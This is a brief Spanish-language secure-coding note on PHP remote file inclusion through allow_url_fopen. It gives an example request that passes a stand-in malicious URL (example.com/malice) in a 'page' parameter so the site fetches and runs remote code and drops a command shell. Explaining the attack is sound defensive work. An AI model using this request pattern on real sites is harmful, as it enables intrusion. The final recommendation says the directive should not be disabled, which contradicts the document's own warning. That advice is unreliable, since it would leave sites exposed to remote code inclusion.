Inclusión de ficheros en PHP (allow_url_fopen)

RECU-0615 (Recurso Experiencia)

Introducción

PHP generaliza el concepto de un fichero que incluye una URL para diferentes propósitos. Una manera de hacerlo es de la siguiente:

include ("http://some.site.com/some_script.php");

Esto es potencialmente peligroso, dado que el sitio remoto puede estar comprometido o la conexión por red controlada. En cualquier caso, se está inyectando código desconocido con cualquier include() de este tipo. Es recomendable evitar este tipo de funciones. Con la directiva de configuración allow_url_fopen se puede controlar el comportamiento.

Por ejemplo, si existe un archivo en la ruta "http://example.com/malice.php" y un script se encuentra en "http://site.com/index.php". Un atacante puede hacer esta petición: "http://site.com/index.php?page=http://example.com/malice" lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.

Recomendaciones

No es recomendable desactivar esta variable.

Contenidos relacionados